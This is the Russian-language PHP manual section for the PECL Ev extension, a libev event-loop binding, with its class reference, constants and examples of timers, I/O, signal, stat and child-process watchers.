Ev

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Наблюдатели
  • Watcher callbacks
  • Режимы работы периодических наблюдателей
  • Ev — Класс Ev
    • Ev::backend — Возвращает целое число, описывающее бэкенд, используемый libev
    • Ev::depth — Получить глубину рекурсии
    • Ev::embeddableBackends — Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы
    • Ev::feedSignal — Передаём событие сигнала в Ev
    • Ev::feedSignalEvent — Послать событие сигнала в цикл по умолчанию
    • Ev::iteration — Получить количество произведённых опросов цикла по умолчанию на предмет новых событий
    • Ev::now — Получить время запуска последней итерации цикла по умолчанию
    • Ev::nowUpdate — Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now
    • Ev::recommendedBackends — Получить битовую маску рекомендованных бэкендов для данной платформы
    • Ev::resume — Возобновить выполнение приостановленного ранее событийного цикла по умолчанию
    • Ev::run — Начать проверку наличия событий и вызов callback-функций цикла по умолчанию
    • Ev::sleep — Блокировать процесс заданное количество секунд
    • Ev::stop — Остановить событийный цикл по умолчанию
    • Ev::supportedBackends — Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev
    • Ev::suspend — Приостановить событийный цикл по умолчанию
    • Ev::time — Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix
    • Ev::verify — Производит внутреннюю проверку целостности(для отладки)
  • EvCheck — Класс EvCheck
    • EvCheck::__construct — Конструктор объекта EvCheck
    • EvCheck::createStopped — Создаёт остановленный экземпляр наблюдателя EvCheck
  • EvChild — Класс EvChild
    • EvChild::__construct — Создаёт объект наблюдатель EvChild
    • EvChild::createStopped — Создаёт остановленный экземпляр наблюдателя EvCheck
    • EvChild::set — Конфигурирование наблюдателя
  • EvEmbed — Класс EvEmbed
    • EvEmbed::__construct — Конструктор объекта EvEmbed
    • EvEmbed::createStopped — Создаёт остановленный объект наблюдатель EvEmbed
    • EvEmbed::set — Настройка наблюдателя
    • EvEmbed::sweep — Делает одиночную, неблокирующую развёртку по встроенному циклу
  • EvFork — Класс EvFork
    • EvFork::__construct — Конструктор наблюдателя EvFork
    • EvFork::createStopped — Создать объект класса EvFork, но не стартовать его
  • EvIdle — Класс EvIdle
    • EvIdle::__construct — Конструктор наблюдателя EvIdle
    • EvIdle::createStopped — Создать объект класса EvIdle, но не стартовать его
  • EvIo — Класс EvIo
    • EvIo::__construct — Создаёт объект наблюдатель EvIo
    • EvIo::createStopped — Создаёт остановленный объект наблюдателя EvIo
    • EvIo::set — Конфигурирование наблюдателя
  • EvLoop — Класс EvLoop
    • EvLoop::backend — Возвращает целое число, описывающее бэкенд, используемый libev
    • EvLoop::check — Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий
    • EvLoop::child — Создаёт объект EvChild, связанный с текущим циклом событий
    • EvLoop::__construct — Конструктор объекта цикла событий
    • EvLoop::defaultLoop — Возвращает или создаёт цикл событий по умолчанию
    • EvLoop::embed — Создаёт экземпляр наблюдателя EvEmbed, связанный с текущим объектом EvLoop
    • EvLoop::fork — Создаёт объект наблюдателя EvFork, связанный с текущим экземпляром цикла событий
    • EvLoop::idle — Создаёт объект наблюдателя EvIdle, связанный с текущим экземпляром цикла событий
    • EvLoop::invokePending — Вызывает всех ожидающих наблюдателей при сбросе их отложенного состояния
    • EvLoop::io — Создаёт объект наблюдателя EvIo, связанный с текущим экземпляром цикла событий
    • EvLoop::loopFork — Вызывается после разветления
    • EvLoop::now — Возвращает текущее "event loop time"
    • EvLoop::nowUpdate — Устанавливает текущее время, запрашивая ядро, обновляя время, возвращаемое EvLoop::now в процессе
    • EvLoop::periodic — Создаёт объект наблюдателя EvPeriodic, связанный с текущим экземпляром цикла событий
    • EvLoop::prepare — Создаёт объект наблюдателя EvPrepare, связанный с текущим экземпляром цикла событий
    • EvLoop::resume — Возобновляет ранее приостановленный цикл событий
    • EvLoop::run — Проверяет события и вызывает callback-функции в цикле
    • EvLoop::signal — Создаёт объект наблюдателя EvSignal, связанный с текущим экземпляром цикла событий
    • EvLoop::stat — Создаёт объект наблюдателя EvStat, связанный с текущим экземпляром цикла событий
    • EvLoop::stop — Останавливает цикл событий
    • EvLoop::suspend — Приостанавливает цикл
    • EvLoop::timer — Создаёт объект наблюдателя EvTimer, связанный с текущим экземпляром цикла событий
    • EvLoop::verify — Выполняет внутренние проверки согласованности (для отладки)
  • EvPeriodic — Класс EvPeriodic
    • EvPeriodic::again — Останавливает и снова запускает периодический наблюдатель
    • EvPeriodic::at — Возвращает абсолютное время, когда наблюдатель запустится в следующий раз
    • EvPeriodic::__construct — Конструктор объекта наблюдателя EvPeriodic
    • EvPeriodic::createStopped — Создаёт остановленный наблюдатель EvPeriodic
    • EvPeriodic::set — Настраивает наблюдателя
  • EvPrepare — Класс EvPrepare
    • EvPrepare::__construct — Конструктор наблюдателя EvPrepare
    • EvPrepare::createStopped — Создать объект класса EvPrepare, но не стартовать его
  • EvSignal — Класс EvSignal
    • EvSignal::__construct — Конструктор объекта наблюдателя EvSignal
    • EvSignal::createStopped — Create stopped EvSignal watcher object
    • EvSignal::set — Настройка наблюдателя
  • EvStat — Класс EvStat
    • EvStat::attr — Возвращает значения, недавно обнаруженные Ev
    • EvStat::__construct — Создаёт объект наблюдателя EvStat
    • EvStat::createStopped — Создаёт остановленный объект наблюдателя EvStat
    • EvStat::prev — Возвращает предыдущий набор значений, возвращаемых EvStat::attr
    • EvStat::set — Настраивает наблюдателя
    • EvStat::stat — Инициирует вызов статистики
  • EvTimer — Класс EvTimer
    • EvTimer::again — Перезапускает таймер наблюдателя
    • EvTimer::__construct — Конструктор объекта наблюдателя EvTimer
    • EvTimer::createStopped — Создаёт остановленный наблюдатель EvTimer
    • EvTimer::set — Настраивает наблюдателя
  • EvWatcher — Класс EvWatcher
    • EvWatcher::clear — Очистить статус ожидания наблюдателя
    • EvWatcher::__construct — Абстрактный конструктор объекта наблюдателя
    • EvWatcher::feed — Подаёт указанные события в цикл событий
    • EvWatcher::getLoop — Возвращает цикл, отвечающий за наблюдателя
    • EvWatcher::invoke — Вызывает callback-функцию наблюдателя с заданной битовой маской принятых событий
    • EvWatcher::keepalive — Настраивает, будет ли возвращаться цикл
    • EvWatcher::setCallback — Устанавливает новую callback-функцию для наблюдателя
    • EvWatcher::start — Запускает наблюдателя
    • EvWatcher::stop — Останавливает наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль предоставляет интерфейс к С-библиотеке » Libev , являющейся высокопроизводительным диспетчером событий.

Замечание: Для Windows-платформ этот модуль недоступен.

Libev - это диспетчер событий, занимающийся регистрацией определённых событий (например, изменение доступности файлового дескриптора или превышение времени ожидания), управлением их источниками и реакцией на них.

Для этого он должен принять более или менее полный контроль над процессом (или нитью), путём запуска обработчика диспетчера событий, а затем обмениваться данными через механизм callback.

Для работы с нужными событиями, необходимо зарегистрировать так называемых наблюдателей за событиями, а затем запустить их, передав libev.

Для получения подробной информации обратитесь к » документации libev

User Contributed Notes

There are no user contributed notes for this page.


Требования

В модуль включена библиотека libev и вам не нужно устанавливать её отдельно.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/ev .

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Данный модуль не определяет никакие константы.

Большинство констант перемещены в класс синглетон (одиночка) Ev

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Простые таймеры

<?php
// Создаём и запускаем таймер на 2 секунды
$w1 = new EvTimer(2, 0, function () {
echo "2 секунды прошло\n";
});

// Создаём и запускаем таймер, который сработает через 2 секунды, после чего будет срабатывать
// раз в секунду, пока вы его вручную не остановите
$w2 = new EvTimer(2, 1, function ($w) {
echo "вызывается раз в секунду, первое срабатывание через 2 секунды\n";
echo "итерация = ", Ev::iteration(), PHP_EOL;

// Останавливаем наблюдателя через 5 итераций
Ev::iteration() == 5 and $w->stop();
// Остановливаем наблюдателя, если следующий вызов приведёт к десятой (или больше) итерации
Ev::iteration() >= 10 and $w->stop();
});

// Создаём остановленный таймер. Он будет неактивен, пока мы его не запустим
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
echo "Callback-функция таймера, созданного остановленным\n";

// Останавливаем наблюдателя через 2 итерации
Ev::iteration() >= 2 and $w->stop();
});

// Запускаем событийный цикл, пока работает хотя бы один наблюдатель или пока не вызван Ev::stop()
Ev::run();

// Запускаем и смотрим, как он работает
$w_stopped->start();
echo "Запускаем одну итерацию\n";
Ev::run(Ev::RUN_ONCE);

echo "Перезапускаем второго наблюдателя и пытаемся отловить те же события, но не блокируем\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Запускаем блокирующий цикл\n";
Ev::run();
echo "END\n";
?>

Результатом выполнения данного примера будет что-то подобное:

2 секунды прошло
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 1
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 2
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 3
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 4
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 5
Запускаем одну итерацию
Функция обратного вызова таймера, созданного остановленным
Перезапускаем второго наблюдателя и пытаемся отловить те же события, но не блокируем
Запускаем блокирующий цикл
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 8
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 9
вызывается раз в секунду, первое срабатывание через 2 секунды
итерация = 10
END

Пример #2 Периодический таймер. Срабатывает раз в 10.5 секунд

<?php
$w = new EvPeriodic(0., 10.5, NULL, function ($w, $revents) {
echo time(), PHP_EOL;
});

Ev::run();
?>

Пример #3 Периодический таймер. Использование callback-функции для перезадания интервала

<?php
// Срабатывает раз в 10.5 секунд

function reschedule_cb ($watcher, $now) {
return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
echo time(), PHP_EOL;
});

Ev::run();
?>

Пример #4 Периодический таймер. Срабатывает каждые 10.5 секунд, начиная с текущего момента

<?php
// Срабатывает раз в 10.5 секунд начиная с текущего момента
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
echo time(), PHP_EOL;
});

Ev::run();
?>

Пример #5 Ждём, пока STDIN не станет читаемым

<?php
// Ждём, пока STDIN не станет читаемым
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
echo "STDIN is readable\n";
});

Ev::run(Ev::RUN_ONCE);
?>

Пример #6 Используем асинхронный ввод/вывод для доступа к сокету

<?php
/* Используем асинхронный ввод/вывод для доступа к сокету */

// Модуль `sockets' продолжит логировать предупреждения
// для EINPROGRESS, EAGAIN/EWOULDBLOCK etc.
error_reporting(E_ERROR);

$e_nonblocking = array (/*EAGAIN или EWOULDBLOCK*/11, /*EINPROGRESS*/115);

// Получаем порт для сервиса WWW
$service_port = getservbyname('www', 'tcp');

// Получаем IP-адрес целевого хоста
$address = gethostbyname('google.co.uk');

// Создаём сокет TCP/IP
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === FALSE) {
echo "Ошибка при вызове socket_create(): причина: "
.socket_strerror(socket_last_error()) . "\n";
}

// Устанавливаем флаг O_NONBLOCK
socket_set_nonblock($socket);

// Прерываем по превышению времени ожидания
$timeout_watcher = new EvTimer(10.0, 0., function () use ($socket) {
socket_close($socket);
Ev::stop(Ev::BREAK_ALL);
});

// Посылаем запрос HEAD когда сокет доступен для записи
$write_watcher = new EvIo($socket, Ev::WRITE, function ($w)
use ($socket, $timeout_watcher, $e_nonblocking)
{
// Останавливаем наблюдателя $timeout_watcher
$timeout_watcher->stop();
// Останавливаем наблюдателя $write_watcher
$w->stop();

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: google.co.uk\r\n";
$in .= "Connection: Close\r\n\r\n";

if (!socket_write($socket, $in, strlen($in))) {
trigger_error("Ошибка записи $in в сокет", E_USER_ERROR);
}

$read_watcher = new EvIo($socket, Ev::READ, function ($w, $re)
use ($socket, $e_nonblocking)
{
// Сокет доступен для чтения. Читаем 20 байт в неблокирующем режиме
$ret = socket_recv($socket, $out, 20, MSG_DONTWAIT);

if ($ret) {
echo $out;
} elseif ($ret === 0) {
// Все прочтено
$w->stop();
socket_close($socket);
return;
}

// Ловим EINPROGRESS, EAGAIN или EWOULDBLOCK
if (in_array(socket_last_error(), $e_nonblocking)) {
return;
}

$w->stop();
socket_close($socket);
});

Ev::run();
});

$result = socket_connect($socket, $address, $service_port);

Ev::run();
?>

Результатом выполнения данного примера будет что-то подобное:

HTTP/1.1 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=Windows-1251
Date: Sun, 23 Dec 2012 16:08:27 GMT
Expires: Tue, 22 Jan 2013 16:08:27 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close

Пример #7 Встраиваем один цикл в другой

<?php
/*
* Пытаемся получить встраиваемый цикл и встроить его в событийный цикл по умолчанию.
* Если это невозможно - используем цикл по умолчанию. Цикл по умолчанию
* хранится в $loop_hi, а встраиваемый в $loop_lo (который будет равен $loop_hi в случае
* если мы не будем использовать встраиваемый цикл).
*
* Пример взят из
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed = NULL;

/*
* Смотрим, есть ли возможность получить работающий
* (Значение 0 означает автоопределение)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
: 0;

if ($loop_lo) {
$embed = new EvEmbed($loop_lo, function () {});
} else {
$loop_lo = $loop_hi;
}
?>

Пример #8 Встраивание цикла, созданного с помощью kqueue в цикл по умолчанию

<?php
/*
* Проверяем, что бэкенд kqueue доступен, но не рекомендован, и создаём его для
* работы с сокетами (которые обычно работают с любой реализацией kqueue).
* Сохраняем событийный цикл kqueue/socket-only в loop_socket. (Можно опционально
* использовать флаг EVFLAG_NOENV)
*
* Пример взят из
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// теперь используем $socket_loop для всех сокетов, а $loop для всего остального
?>

Пример #9 Перехватываем сигнал SIGTERM

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
echo "Получен сигнал SIGTERM\n";
$watcher->stop();
});

Ev::run();
?>

Пример #10 Отслеживаем изменение /var/log/messages

<?php
// Используем интервал опроса в 10 секунд
$w = new EvStat("/var/log/messages", 8, function ($w) {
echo "/var/log/messages изменён\n";

$attr = $w->attr();

if ($attr['nlink']) {
printf("Текущий размер: %ld\n", $attr['size']);
printf("Текущее значение atime: %ld\n", $attr['atime']);
printf("Текущее значение mtime: %ld\n", $attr['mtime']);
} else {
fprintf(STDERR, "файл `messages` отсутствует!");
$w->stop();
}
});

Ev::run();
?>

Пример #11 Отслеживаем изменение /var/log/messages. Избегаем пропуска обновлений с помощью задержки в одну секунду

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
$w->stop();

$stat = $w->data;

// 1 секунду после последнего изменения файла
printf("Текущий размер: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
// Сбрасываем наблюдателя $timer
$timer->again();
});

$timer->data = $stat;

Ev::run();
?>

Пример #12 Отслеживаем изменения статуса процесса

<?php
$pid = pcntl_fork();

if ($pid == -1) {
fprintf(STDERR, "pcntl_fork failed\n");
} elseif ($pid) {
$w = new EvChild($pid, FALSE, function ($w, $revents) {
$w->stop();

printf("Процесс %d вышел с кодом %d\n", $w->rpid, $w->rstatus);
});

Ev::run();

// Защита от зомби процессов
pcntl_wait($status);
} else {
// Порождённый потомок
exit(2);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Наблюдатели

Наблюдатель - это объект, который создан для слежения за каким-либо конкретным событием. К примеру, следующий код будет ожидать, когда STDIN станет читаемым:

<?php
// Ждём, пока STDIN не станет доступным для чтения
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
echo "STDIN можно считать\n";
});
Ev::run(Ev::RUN_ONCE);
?>

Конструкторы наблюдателей запускают их автоматически. Если вам нужно создать наблюдателя, но не запускать, используйте метод createStopped (EvIo::createStopped()).

Обратите внимание, что при уничтожении объекта наблюдателя, он будет автоматически остановлен. Таким образом, объекты наблюдатели, возвращённые из конструкторов или фабричных методов должны быть сохранены.

Обратите внимание, что все методы, изменяющие свойства наблюдателя (set, priority и т.д.), автоматически останавливают и перезапускают наблюдатель, если он активен, это означает, что все ожидающие сообщения будут потеряны.

Также читайте: Callback-функции наблюдателей .

User Contributed Notes

There are no user contributed notes for this page.


Watcher callbacks

Все наблюдатели могут быть либо активными (ожидать сообщения), либо неактивными (приостановленными). Только активные наблюдатели могут вызывать свои callback-функции. Все такие функции вызываются как минимум с двумя параметрами: watcher - наблюдатель, и revents - битовая маска принятых событий.

Callback-функции наблюдателей передаются в конструкторы наблюдателей (классы, наследующие от EvWatcher - EvCheck::__construct(), EvChild::__construct() и т.д.) Callback-функция наблюдателя должна соответствовать следующему прототипу:

callback( object $watcher = NULL , int $revents = NULL ): void

watcher

Экземпляр наблюдателя (класс расширяющий EvWatcher).

revents

Принятые наблюдателем события.

Каждый тип наблюдателя имеет собственный бит в revents, ассоциированный с ним, что позволяет использовать одну и ту же callback-функцию для множества наблюдателей. Событийная маска именуется после типа, т.е. EvChild (или EvLoop::child()) устанавливает EV::CHILD, EvPrepare (или EvLoop::prepare()) устанавливает Ev::PREPARE, EvPeriodic (или EvLoop::periodic()) устанавливает Ev::PERIODIC и так далее, с исключением для событий ввода/вывода (которые устанавливают оба бита, и Ev::READ и Ev::WRITE).

User Contributed Notes

There are no user contributed notes for this page.


Режимы работы периодических наблюдателей

Наблюдатели EvPeriodic работают в разных режимах в зависимости от значения параметров offset, interval и reschedule_cb.

  1. Абсолютный таймер. В этом режиме interval = 0, reschedule_cb = null. Таймер просто сработает один раз в заданное в offset время. Он не компенсирует скачки времени и если указанно сработать в 1 Января 2014, то он сработает когда системное время будет равно или больше этого значения.

  2. Таймер с фиксированным интервалом. В этом режиме interval > 0, а reschedule_cb = null. Каждое последующее срабатывание будет ровно через offset + N * interval (где N - целое число), не взирая на скачки времени.

    Это можно использовать для создания таймеров, которые не расходятся с системным временем:

    <?php
    $hourly     = EvPeriodic(0, 3600, NULL, function () {
    echo     "один раз в час\n";
    });
    ?>
    Это не означает, что между срабатываниями будет всегда ровно 3600 секунд. Это означает, что callback-функция будет вызвана только когда системные часы покажут полный час (UTC).

    В этом режиме, EvPeriodic будет пытаться запустить callback-функцию в следующее доступное время, когда time = offset (mod interval), независимо от скачков времени.

  3. Режим ручного переопределения времени срабатывания. В этом режиме reschedule_cb является корректным параметром типа callable.

    interval и offset игнорируются. Вместо этого, при каждом срабатывании, наблюдатель запускает callback-функцию (reschedule_cb) с двумя аргументами, ссылкой на наблюдателя и временем.

    Эта callback-функция никогда не должна останавливать или уничтожать этот, или какой-либо другой периодический наблюдатель и не должна вызывать функции и методы событийного цикла. Для остановки можно вернуть очень большое число, например, 1e30, и остановить наблюдатель за пределами этой функции. Для этого можно использовать наблюдателей EvPrepare.

    Эта функция должна вернуть следующее время срабатывания, основываясь на переданном значении времени (то есть самое маленькое значение времени больше или равно второму аргументу). Обычно она вызывается перед тем, как будет вызвана основная callback-функция наблюдателя, но может и позже.

    Пример #1 Использование наблюдателя с ручным переопределением времени срабатывания

    <?php
    // Срабатывать каждые 10.5 секунд

    function reschedule_cb ($watcher, $now) {
    return     $now + (10.5. - fmod($now, 10.5));
    }

    $w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
    echo     time(), PHP_EOL;
    });

    Ev::run();
    ?>

User Contributed Notes

There are no user contributed notes for this page.


Класс Ev

(PECL ev >= 0.2.0)

Введение

Класс EV является статическим классом, обеспечивая доступ к циклу по умолчанию и некоторым распространённым операциям.

Обзор классов

final class Ev {
/* Константы */
const int FLAG_AUTO = 0;
const int FLAG_NOENV = 16777216;
const int FLAG_FORKCHECK = 33554432;
const int FLAG_NOINOTIFY = 1048576;
const int FLAG_SIGNALFD = 2097152;
const int FLAG_NOSIGMASK = 4194304;
const int RUN_NOWAIT = 1;
const int RUN_ONCE = 2;
const int BREAK_CANCEL = 0;
const int BREAK_ONE = 1;
const int BREAK_ALL = 2;
const int MINPRI = -2;
const int MAXPRI = 2;
const int READ = 1;
const int WRITE = 2;
const int TIMER = 256;
const int PERIODIC = 512;
const int SIGNAL = 1024;
const int CHILD = 2048;
const int STAT = 4096;
const int IDLE = 8192;
const int PREPARE = 16384;
const int CHECK = 32768;
const int EMBED = 65536;
const int CUSTOM = 16777216;
const int ERROR = 2147483648;
const int BACKEND_SELECT = 1;
const int BACKEND_POLL = 2;
const int BACKEND_EPOLL = 4;
const int BACKEND_KQUEUE = 8;
const int BACKEND_DEVPOLL = 16;
const int BACKEND_PORT = 32;
const int BACKEND_ALL = 63;
const int BACKEND_MASK = 65535;
/* Методы */
final public static backend(): int
final public static depth(): int
final public static embeddableBackends(): int
final public static feedSignal( int $signum ): void
final public static feedSignalEvent( int $signum ): void
final public static iteration(): int
final public static now(): float
final public static nowUpdate(): void
final public static recommendedBackends(): int
final public static resume(): void
final public static run( int $flags = ?): void
final public static sleep( float $seconds ): void
final public static stop( int $how = ?): void
final public static supportedBackends(): int
final public static suspend(): void
final public static time(): float
final public static verify(): void
}

Предопределённые константы

Флаги, передаваемые при создании цикла:

Ev::FLAG_AUTO

Задаёт флагам значение по умолчанию

Ev::FLAG_NOENV

Если флаг используется (или программа запускает setuid или setgid), то libev не смотрит на переменную окружения LIBEV_FLAGS. В противном случае (по умолчанию), если найден LIBEV_FLAGS, то он полностью переопределяет флаги. Полезно для тестов производительности и поиска ошибок.

Ev::FLAG_FORKCHECK

Заставляет libev проверять ветвление в каждой итерации, вместо вызова EvLoop::fork() вручную. Это работает путём вызова getpid() на каждой итерации цикла, и, таким образом, это может замедлить работу цикла событий с большим количеством итераций цикла, но обычно не сильно. Этот флаг не может быть переопределён или указан в переменной среды LIBEV_FLAGS.

Ev::FLAG_NOINOTIFY

Если этот флаг указан, то libev не будет пытаться использовать API inotify для своих наблюдателей » ev_stat Флаг может быть полезным для сохранения файловых дескрипторов inotify, в противном случае каждый цикл, использующий наблюдателей ev_stat, будет потреблять один дескриптор inotify.

Ev::FLAG_SIGNALFD

Если флаг указан, то libev будет пытаться использовать API signalfd для своих наблюдателей » ev_signal (и » ev_child). API передаёт сигналы синхронно, что делает его быстрее и, возможно, позволит получить данные из очереди сигналов, а также позволяет упростить обработку сигналов с помощью потоков, поскольку сигналы корректно блокируются в потоках. Signalfd не используется по умолчанию.

Ev::FLAG_NOSIGMASK

Если указан флаг, то libev будет избегать изменения маски сигнала. В частности, это применяется, чтобы перед получением сигнала убедиться, что он разблокирован.

Такое поведение полезно для обработки пользовательских сигналов или обработки сигналов только определённых потоков.

Флаги, передаваемые в Ev::run(), или EvLoop::run()

Ev::RUN_NOWAIT

Означает, что цикл событий будет искать и обрабатывать новые события, а также любые ожидающие выполнения события из них, но не будет ждать и блокировать процесс в случае, если не было никаких событий и завершится после одной итерации цикла. Это иногда полезно для опроса и обработки новых событий во время выполнения длительных вычислений, сохраняя при этом возможность взаимодействия с программой.

Ev::RUN_ONCE

Означает, что цикл событий будет искать новые события (ожидая, в случае необходимости) и обрабатывать эти и любые уже ожидающие события из них. Он будет блокировать процесс, пока не поступит по крайней мере одно новое событие (это может быть внутреннее событие libev, поэтому нет никакой гарантии, что будет вызвана заданная callback-функция) и завершится после одной итерации цикла.

Флаги, передаваемые в Ev::stop() , или EvLoop::stop()

Ev::BREAK_CANCEL

Отмена операции прерывания.

Ev::BREAK_ONE

Возвращает самый глубокий запрос Ev::run() (или EvLoop::run() ).

Ev::BREAK_ALL

Завершает все вложенные вызовы Ev::run() (или EvLoop::run() ).

Приоритеты наблюдателей:

Ev::MINPRI

Минимально допустимый приоритет наблюдателя.

Ev::MAXPRI

Максимально допустимый приоритет наблюдателя.

Битовые маски (полученных) событий:

Ev::READ

Дескриптор файла в наблюдателе EvIo доступен для чтения.

Ev::WRITE

Дескриптор файла в наблюдателе EvIo доступен для записи.

Ev::TIMER

EvTimer наблюдает за превышением лимита времени.

Ev::PERIODIC

EvPeriodic наблюдает за превышением лимита времени.

Ev::SIGNAL

Указанный в EvSignal::__construct() сигнал получен.

Ev::CHILD

pid Указанный в EvChild::__construct() получен и статус изменён.

Ev::STAT

Путь, указанный в наблюдателе EvStat поменял свои атрибуты.

Ev::IDLE

Наблюдатель EvIdle работает, когда остальные наблюдатели ничего не делают.

Ev::PREPARE

Все наблюдатели EvPrepare вызваны ровно перед стартом Ev::run() таким образом, наблюдатели EvPrepare являются последними вызванными наблюдателями перед тем, как цикл событий заснёт или опросит новые события.

Ev::CHECK

Все наблюдатели EvCheck помещены в очередь сразу после того, как Ev::run() собрал новые события, но до того, как они вызовут какую-либо callback-функцию для полученных событий. Таким образом, наблюдатели EvCheck будут вызваны раньше, чем любые другие наблюдатели с таким же либо более низким приоритетом в этой итерации цикла событий.

Ev::EMBED

Встроенный цикл событий, заданный в наблюдателе EvEmbed требует к себе внимания.

Ev::CUSTOM

Никогда не посылается (или иным образом используется) библиотекой libev самостоятельно, но может свободно использоваться пользователями libev для сигнализирующих наблюдателей (т.е. с помощью EvWatcher::feed() ).

Ev::ERROR

Произошла неизвестная ошибка и наблюдатель будет остановлен. Может произойти из-за некорректного запуска наблюдателя, потому, что libev исчерпал лимит по памяти, из-за закрытого дескриптора файла или по какой-либо ещё причине. Libev считает, что эти ошибки приложения. Также читайте раздел » АНАТОМИЯ НАБЛЮДАТЕЛЕЙ

Флаги бэкенда:

Ev::BACKEND_SELECT

выбор бэкенда - select(2)

Ev::BACKEND_POLL

опрос бэкенда - poll(2)

Ev::BACKEND_EPOLL

Специфичный для Linux бэкенд epoll(7) для ядер до и после 2.6.9

Ev::BACKEND_KQUEUE

kqueue - бэкенде используемый в большинстве систем BSD. Наблюдатель EvEmbed может быть использован для вставки одного цикла (с бэкендом kqueue) в другой. Например, можно попытаться создать цикл событий с бэкендом kqueue и использовать его только для сокетов.

Ev::BACKEND_DEVPOLL

Бэкенд Solaris 8. Пока не реализован.

Ev::BACKEND_PORT

Механизм порта событий с хорошим масштабированием в Solaris 10.

Ev::BACKEND_ALL

Пробовать все бэкенды (кроме испорченных). Не рекомендуется использовать напрямую. Тут необходимо использовать побитовые операции (т.е. Ev::BACKEND_ALL & ~ Ev::BACKEND_KQUEUE ). Использовать Ev::recommendedBackends() , или не задавать никакого бэкенда вообще.

Ev::BACKEND_MASK

Не бэкенд, но маска для выбора всех бит бэкендов из значения flags, для исключения каких-либо бэкендов. (т.е. когда модифицируете переменную окружения LIBEV_FLAGS).

Замечание:

Для цикла по умолчанию, во время фазы инициализации модуля Ev, регистрируется вызов » ev_loop_fork с помощью pthread_atfork (если таковой имеется).

Замечание:

Есть методы, позволяющие получить доступ к циклу событий по умолчанию в классе Ev (например, Ev::iteration(), Ev::depth() и т.д.). Для пользовательских циклов (созданных с помощью EvLoop::__ construct()) эти значения могут быть доступны через соответствующие свойства и методы класса EvLoop.

Экземпляр цикла событий по умолчанию может быть извлечён с помощью метода EvLoop::defaultLoop().

Содержание

  • Ev::backend — Возвращает целое число, описывающее бэкенд, используемый libev
  • Ev::depth — Получить глубину рекурсии
  • Ev::embeddableBackends — Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы
  • Ev::feedSignal — Передаём событие сигнала в Ev
  • Ev::feedSignalEvent — Послать событие сигнала в цикл по умолчанию
  • Ev::iteration — Получить количество произведённых опросов цикла по умолчанию на предмет новых событий
  • Ev::now — Получить время запуска последней итерации цикла по умолчанию
  • Ev::nowUpdate — Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now
  • Ev::recommendedBackends — Получить битовую маску рекомендованных бэкендов для данной платформы
  • Ev::resume — Возобновить выполнение приостановленного ранее событийного цикла по умолчанию
  • Ev::run — Начать проверку наличия событий и вызов callback-функций цикла по умолчанию
  • Ev::sleep — Блокировать процесс заданное количество секунд
  • Ev::stop — Остановить событийный цикл по умолчанию
  • Ev::supportedBackends — Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev
  • Ev::suspend — Приостановить событийный цикл по умолчанию
  • Ev::time — Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix
  • Ev::verify — Производит внутреннюю проверку целостности(для отладки)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает целое число, описывающее бэкенд, используемый libev

  • « Ev
  • Ev::depth »
  • PHP Manual
  • Ev
  • Возвращает целое число, описывающее бэкенд, используемый libev

Ev::backend

(PECL ev >= 0.2.0)

Ev::backend — Возвращает целое число, описывающее бэкенд, используемый libev

Описание

final public static Ev::backend(): int

